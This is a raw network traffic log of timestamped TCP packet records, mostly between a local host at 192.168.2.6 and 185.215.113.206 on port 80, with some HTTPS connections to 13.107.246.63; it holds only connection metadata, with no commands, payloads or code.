Nov 28, 2024 15:17:17.009718895 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.010709047 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.010752916 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.010812044 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.010883093 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.011859894 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.011909008 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.054893017 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.054941893 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.054976940 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.055023909 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.055419922 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.055455923 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.055486917 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.055502892 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.056288958 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.056337118 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.056401968 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.056442022 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.057472944 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.057526112 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.057780981 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.057852030 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.058621883 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.058665991 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.058697939 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.058744907 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.059840918 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.059887886 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.059948921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.059992075 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.061065912 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.061114073 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.061115980 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.061201096 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.062191963 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.062230110 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.062309027 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.062352896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.063385010 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.063429117 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.063512087 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.063605070 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.064542055 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.064594984 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.064713955 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.064759970 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.065731049 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.065748930 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.065768957 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.065793991 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.066978931 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.067029953 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.067044020 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.067086935 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.068092108 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.068130016 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.068205118 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.068257093 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.069283962 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.069323063 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.087919950 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.087971926 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.088047981 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.088232994 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.088232994 CET	49718	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.088251114 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.088260889 CET	443	49718	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.091077089 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.091104031 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.091177940 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.091363907 CET	49723	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.091383934 CET	443	49723	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.124731064 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.124768972 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.124792099 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.124811888 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.125281096 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.125427008 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.125459909 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.125504971 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.126394033 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.126436949 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.126517057 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.126815081 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.127531052 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.127583981 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.127650976 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.127696037 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.128703117 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.128766060 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.128834009 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.128880024 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.129848957 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.129894018 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.130007029 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.130173922 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.130965948 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.131005049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.131067991 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.131239891 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.132116079 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.132159948 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.132220984 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.132348061 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.133263111 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.133274078 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.133322954 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.134324074 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.134368896 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.134383917 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.134423018 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.135489941 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.135538101 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.135607958 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.135651112 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.136548042 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.136594057 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.136650085 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.136701107 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.137645960 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.137702942 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.137825012 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.137871027 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.138794899 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.138866901 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.138916969 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.138976097 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.139867067 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.139919043 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.139971018 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.140013933 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.140981913 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.141043901 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.141083002 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.141144991 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.142081976 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.142170906 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.142185926 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.142213106 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.143177986 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.143225908 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.143290997 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.143403053 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.144259930 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.144305944 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.144340038 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.144376040 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.145554066 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.145662069 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.145664930 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.145714998 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.146467924 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.146513939 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.146560907 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.146609068 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.147572994 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.147619009 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.147687912 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.147753954 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.149151087 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.149194002 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.149271011 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.149317980 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.149744987 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.149791956 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.159332991 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.159389973 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.159444094 CET	49720	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.159677029 CET	49720	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.159693003 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.159703970 CET	49720	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.159710884 CET	443	49720	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.162568092 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.162592888 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.162657022 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.162785053 CET	49724	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.162796974 CET	443	49724	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.194498062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.194566011 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.194683075 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.194732904 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.194744110 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.195008993 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.195064068 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.195091963 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.195135117 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.196144104 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.196276903 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.196280956 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.196319103 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.197179079 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.197287083 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.197552919 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.197655916 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.197685003 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.197727919 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.198753119 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.198796988 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.198875904 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.198929071 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.199784040 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.199836016 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.199937105 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.199981928 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.200845003 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.200885057 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.200900078 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.200970888 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.201898098 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.201982975 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.202040911 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.202097893 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.203035116 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.203092098 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.203125954 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.203171015 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.204119921 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.204159975 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.204180002 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.204217911 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.205251932 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.205317974 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.205368996 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.206307888 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.206358910 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.206413031 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.206451893 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.207349062 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.207401037 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.207524061 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.207664967 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.208437920 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.208483934 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.208584070 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.208635092 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.209578991 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.209634066 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.209665060 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.209712982 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.210664034 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.210721970 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.210727930 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.210764885 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.211724043 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.211769104 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.234481096 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.234565973 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.234721899 CET	49719	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.234909058 CET	49719	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.234930038 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.234941959 CET	49719	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.234946966 CET	443	49719	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.244257927 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.244324923 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.244419098 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.245150089 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.245193005 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.245223045 CET	49721	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.245239019 CET	443	49721	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.246515989 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.246540070 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.246608973 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.246750116 CET	49725	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.246761084 CET	443	49725	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.247992039 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.248012066 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.248065948 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.248182058 CET	49726	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.248192072 CET	443	49726	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.256079912 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.256160021 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.256175995 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.256226063 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.256596088 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.256649971 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.256710052 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.256750107 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.257705927 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.257787943 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.257834911 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.258778095 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.258824110 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.258831024 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.258871078 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.259887934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.259926081 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.259932995 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.259968996 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.260956049 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.260997057 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.261070967 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.261203051 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.262068987 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.262195110 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.262238026 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.263134003 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.263178110 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.263258934 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.263309002 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.264273882 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.264317989 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.264349937 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.264434099 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.265345097 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.265388966 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.265439034 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.265574932 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.266398907 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.266443968 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.266462088 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.266504049 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.267503977 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.267594099 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.267674923 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.267739058 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.268598080 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.268649101 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.268696070 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.268747091 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.269720078 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.269768953 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.316900969 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.316976070 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.317034960 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.317218065 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.317229033 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.317245007 CET	49722	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.317250013 CET	443	49722	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.319963932 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.319972038 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.320040941 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.320242882 CET	49727	443	192.168.2.6	13.107.246.63
Nov 28, 2024 15:17:17.320254087 CET	443	49727	13.107.246.63	192.168.2.6
Nov 28, 2024 15:17:17.325964928 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.326003075 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.326050043 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.326500893 CET	80	49712	185.215.113.206	192.168.2.6
Nov 28, 2024 15:17:17.326550007 CET	49712	80	192.168.2.6	185.215.113.206
Nov 28, 2024 15:17:17.326581001 CET	80	49712	185.215.113.206	192.168.2.6
